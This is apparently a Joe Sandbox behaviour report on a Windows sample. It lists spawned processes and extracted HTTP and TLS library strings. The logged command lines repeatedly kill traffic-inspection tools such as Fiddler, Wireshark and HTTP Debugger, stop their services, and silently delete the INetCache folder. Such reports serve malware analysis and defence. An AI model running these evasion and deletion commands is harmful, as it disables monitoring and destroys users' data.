Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 7988, Parent PID: 7972

General

Target ID:	15
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 8032, Parent PID: 8016

General

Target ID:	17
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 8092, Parent PID: 8076

General

Target ID:	19
Start time:	15:28:44
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:28:45
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 8156, Parent PID: 8140

General

Target ID:	21
Start time:	15:28:45
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:28:45
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 8188, Parent PID: 8172

General

Target ID:	23
Start time:	15:28:45
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:28:45
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3340, Parent PID: 7652

General

Target ID:	25
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 7332, Parent PID: 3340

General

Target ID:	26
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 3116, Parent PID: 1984

General

Target ID:	30
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 4124, Parent PID: 3284

General

Target ID:	32
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 7424, Parent PID: 2288

General

Target ID:	34
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff655a10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WerFault.exePID: 3040, Parent PID: 7652

General

Target ID:	38
Start time:	15:28:49
Start date:	20/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7652 -s 944
Imagebase:	0x7ff732eb0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	90

Executed Functions

Function 00007FF79B70F590 Relevance: 178.5, APIs: 31, Strings: 70, Instructions: 1702stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F668
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70F675
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F748
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F7CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F873
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F90A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70F9D5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70FA0D
strchr.VCRUNTIME140 ref: 00007FF79B70FB87
strchr.VCRUNTIME140 ref: 00007FF79B70FB9A
strchr.VCRUNTIME140 ref: 00007FF79B70FBAC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70FCB3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70FD23
memcpy.VCRUNTIME140 ref: 00007FF79B70FD4A
strchr.VCRUNTIME140 ref: 00007FF79B70FD5E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70FD72
strstr.VCRUNTIME140 ref: 00007FF79B70FFA8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7100E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B710259

Part of subcall function 00007FF79B708DB0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B708E23

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71030C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B710391
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7105EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B710600
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71060F

Part of subcall function 00007FF79B711960: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119BA

strchr.VCRUNTIME140 ref: 00007FF79B710BC7
strchr.VCRUNTIME140 ref: 00007FF79B710BDA
strchr.VCRUNTIME140 ref: 00007FF79B710BEC

Part of subcall function 00007FF79B711960: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119DA
Part of subcall function 00007FF79B711960: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119E3

strchr.VCRUNTIME140 ref: 00007FF79B710E3F
strchr.VCRUNTIME140 ref: 00007FF79B710E52
strchr.VCRUNTIME140 ref: 00007FF79B710E64

Part of subcall function 00007FF79B713F90: strchr.VCRUNTIME140 ref: 00007FF79B714076
Part of subcall function 00007FF79B713F90: strchr.VCRUNTIME140 ref: 00007FF79B714089
Part of subcall function 00007FF79B713F90: strchr.VCRUNTIME140 ref: 00007FF79B71409B

Strings

Transfer-Encoding, xrefs: 00007FF79B70FB1D
1.1, xrefs: 00007FF79B7102FE
chunked, xrefs: 00007FF79B70FBC6
Could only read %I64d bytes from the input, xrefs: 00007FF79B710215
;type=, xrefs: 00007FF79B70FF9E
Referer, xrefs: 00007FF79B70F923
Invalid TIMEVALUE, xrefs: 00007FF79B710813
%s%s=%s, xrefs: 00007FF79B710719
Cookie, xrefs: 00007FF79B70F992
%s, xrefs: 00007FF79B710B43
%s , xrefs: 00007FF79B710323
PUT, xrefs: 00007FF79B70F708
Host, xrefs: 00007FF79B70FCB9
Content-Length: %I64d, xrefs: 00007FF79B7109BB, 00007FF79B710B10, 00007FF79B710D95
0, xrefs: 00007FF79B710FB6, 00007FF79B7110B5
Failed sending PUT request, xrefs: 00007FF79B710A39
Content-Length: 0, xrefs: 00007FF79B710A60
User-Agent, xrefs: 00007FF79B70F72D
upload completely sent off: %I64d out of %I64d bytes, xrefs: 00007FF79B71116E
Host:, xrefs: 00007FF79B70FD81
Expect, xrefs: 00007FF79B710B64, 00007FF79B710DD9
Cookie: , xrefs: 00007FF79B7106FE, 00007FF79B710774
Transfer-Encoding: chunked, xrefs: 00007FF79B70FC7F
;type=%c, xrefs: 00007FF79B710011
If-Modified-Since, xrefs: 00007FF79B71085D
Referer: %s, xrefs: 00007FF79B70F93E
Could not seek stream, xrefs: 00007FF79B710158
GET, xrefs: 00007FF79B70F722
?%s, xrefs: 00007FF79B7103FB
Host:%s, xrefs: 00007FF79B70FDB6
Accept, xrefs: 00007FF79B710063
Accept: */*, xrefs: 00007FF79B710075
File already completely uploaded, xrefs: 00007FF79B7101F9
Transfer-Encoding:, xrefs: 00007FF79B70FB3E
Host: %s%s%s:%d, xrefs: 00007FF79B70FE72
Expect:, xrefs: 00007FF79B710B85, 00007FF79B710DFA
OPTIONS, xrefs: 00007FF79B70F6FB
Content-Length, xrefs: 00007FF79B7109A4, 00007FF79B710AF9, 00007FF79B710D7E
ftp, xrefs: 00007FF79B70FF79
%x, xrefs: 00007FF79B710F65
If-Unmodified-Since, xrefs: 00007FF79B710854
http, xrefs: 00007FF79B70FF0B
Failed sending POST request, xrefs: 00007FF79B710A99, 00007FF79B710CDD
Last-Modified, xrefs: 00007FF79B71084B
Range: bytes=%s, xrefs: 00007FF79B7100EE
Proxy-Connection, xrefs: 00007FF79B710463
%s?%s, xrefs: 00007FF79B70F765
100-continue, xrefs: 00007FF79B710C06, 00007FF79B710E86
Failed sending HTTP POST request, xrefs: 00007FF79B71106B
Content-Type: application/x-www-form-urlencoded, xrefs: 00007FF79B710DC1
1.0, xrefs: 00007FF79B7102F0
%s%s, xrefs: 00007FF79B7107A0
ftp://%s:%s@%s, xrefs: 00007FF79B7103BB
Host: %s%s%s, xrefs: 00007FF79B70FE2D
Failed sending HTTP request, xrefs: 00007FF79B710D36
POST, xrefs: 00007FF79B70F715
Content-Range: bytes %s%I64d/%I64d, xrefs: 00007FF79B710298
Content-Type, xrefs: 00007FF79B70FA77, 00007FF79B710DAD
Accept-Encoding, xrefs: 00007FF79B70F9B1
multipart/form-data, xrefs: 00007FF79B70FABA
%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF79B7105CB
Content-Range: bytes 0-%I64d/%I64d, xrefs: 00007FF79B710274
Proxy-Connection: Keep-Alive, xrefs: 00007FF79B71048F, 00007FF79B7104A4
Range, xrefs: 00007FF79B7100C2
HEAD, xrefs: 00007FF79B70F6D1
Accept-Encoding: %s, xrefs: 00007FF79B70F9E2
Chunky upload is not supported by HTTP 1.0, xrefs: 00007FF79B70FC8C
Content-Range: bytes %s/%I64d, xrefs: 00007FF79B7102A6
Content-Range, xrefs: 00007FF79B71023E
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00007FF79B7108E4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$strchr$_strdup$callocmemcpystrstr
String ID: %s$%s $%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s$%s%s$%s%s=%s$%s: %s, %02d %s %4d %02d:%02d:%02d GMT$%s?%s$%x$0$1.0$1.1$100-continue$;type=$;type=%c$?%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: */*$Chunky upload is not supported by HTTP 1.0$Content-Length$Content-Length: %I64d$Content-Length: 0$Content-Range$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Content-Type$Content-Type: application/x-www-form-urlencoded$Cookie$Cookie: $Could not seek stream$Could only read %I64d bytes from the input$Expect$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request$File already completely uploaded$GET$HEAD$Host$Host:$Host: %s%s%s$Host: %s%s%s:%d$Host:%s$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified$OPTIONS$POST$PUT$Proxy-Connection$Proxy-Connection: Keep-Alive$Range$Range: bytes=%s$Referer$Referer: %s$Transfer-Encoding$Transfer-Encoding:$Transfer-Encoding: chunked$User-Agent$chunked$ftp$ftp://%s:%s@%s$http$multipart/form-data$upload completely sent off: %I64d out of %I64d bytes
API String ID: 2045874074-4264080130
Opcode ID: 7786becf68336d0054d3751eb5a69a9aec0b7b775e65eefc63fcc71cb1334378
Instruction ID: aa297e2a62e940e2c3fac46c53f95091aacbcc2841c5ddd7ff78a42621aa0b44
Opcode Fuzzy Hash: 7786becf68336d0054d3751eb5a69a9aec0b7b775e65eefc63fcc71cb1334378
Instruction Fuzzy Hash: 5503A721A0C64A85FB74EB3998502B9A7A1EF89B84F844237CD1D5B6B5DF3CE645C330

Function 00007FF79B719F3D Relevance: 116.1, APIs: 43, Strings: 23, Instructions: 552stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B71A098
strchr.VCRUNTIME140 ref: 00007FF79B71A0C4
strchr.VCRUNTIME140 ref: 00007FF79B71A0FE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A122
strchr.VCRUNTIME140 ref: 00007FF79B71A232
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A24A

Strings

Services, xrefs: 00007FF79B71A197
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF79B71A733
schannel: Failed to get certificate location or file for %s, xrefs: 00007FF79B71A622
LocalMachine, xrefs: 00007FF79B71A153
Microsoft Unified Security Protocol Provider, xrefs: 00007FF79B71A63F
LocalMachineEnterprise, xrefs: 00007FF79B71A20B
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00007FF79B71A6B5
schannel: Failed to import cert file %s, last error is 0x%x, xrefs: 00007FF79B71A504
http/1.1, xrefs: 00007FF79B71A767
CurrentUser, xrefs: 00007FF79B71A112
http/1.1, xrefs: 00007FF79B71A753
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 00007FF79B71A137
CurrentUserGroupPolicy, xrefs: 00007FF79B71A1CD
LocalMachineGroupPolicy, xrefs: 00007FF79B71A1EC
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF79B71A4D9
schannel: ALPN, offering %s, xrefs: 00007FF79B71A775
schannel: Failed to open cert store %x %s, last error is 0x%x, xrefs: 00007FF79B71A2B0
schannel: TLS 1.3 is not yet supported, xrefs: 00007FF79B719FCB
schannel: unable to allocate memory, xrefs: 00007FF79B71A5BC, 00007FF79B71A847
CurrentService, xrefs: 00007FF79B71A175
schannel: Failed to read cert file %s, xrefs: 00007FF79B71A5F9
Users, xrefs: 00007FF79B71A1B6
schannel: Failed to get certificate from file %s, last error is 0x%x, xrefs: 00007FF79B71A54F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$_strdupstrncmpstrtol
String ID: CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Users$http/1.1$http/1.1$schannel: ALPN, offering %s$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate from file %s, last error is 0x%x$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%x$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %x %s, last error is 0x%x$schannel: Failed to read cert file %s$schannel: TLS 1.3 is not yet supported$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.
API String ID: 707411602-3372543188
Opcode ID: f594f424c43ecc92778b926f78d702b8f711881766d09741b9e3cd8d16f4b1de
Instruction ID: 8129abcc6343b1a1affc0e6aa6b46609fcfe5a50c1abe81cc2c1ce82b071d436
Opcode Fuzzy Hash: f594f424c43ecc92778b926f78d702b8f711881766d09741b9e3cd8d16f4b1de
Instruction Fuzzy Hash: 00428221A0864E85EB34EF39D8546B9A7A5FB89794F804237CA5E467B0DF3CE644C720

Function 00007FF79B6F1530 Relevance: 114.1, APIs: 51, Strings: 14, Instructions: 304
processsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF79B6F155A
rand.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF79B6F1596
rand.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF79B6F15C2
SetConsoleTitleA.KERNEL32 ref: 00007FF79B6F1640
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F1679
GetConsoleWindow.KERNELBASE ref: 00007FF79B6F1685
GetWindowLongPtrA.USER32 ref: 00007FF79B6F1696
SetWindowLongPtrA.USER32 ref: 00007FF79B6F16AC
SetLayeredWindowAttributes.USER32 ref: 00007FF79B6F16C0
GetStdHandle.KERNEL32 ref: 00007FF79B6F16D0
SetConsoleTextAttribute.KERNELBASE ref: 00007FF79B6F16DC
GetStdHandle.KERNEL32 ref: 00007FF79B6F16E7
SetConsoleTextAttribute.KERNELBASE ref: 00007FF79B6F16F3
GetStdHandle.KERNEL32 ref: 00007FF79B6F170A
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1716

Part of subcall function 00007FF79B6F0680: memcpy.VCRUNTIME140(?,?,?,?,?,?,0000006E00000006,?,FFFFFFFF,00007FF79B6E11F9), ref: 00007FF79B6F075F

Part of subcall function 00007FF79B6F1A70: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00000000,0000000B,00007FF79B6F1728), ref: 00007FF79B6F1A94
Part of subcall function 00007FF79B6F1A70: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00000000,0000000B,00007FF79B6F1728), ref: 00007FF79B6F1AB5

GetStdHandle.KERNEL32 ref: 00007FF79B6F1739
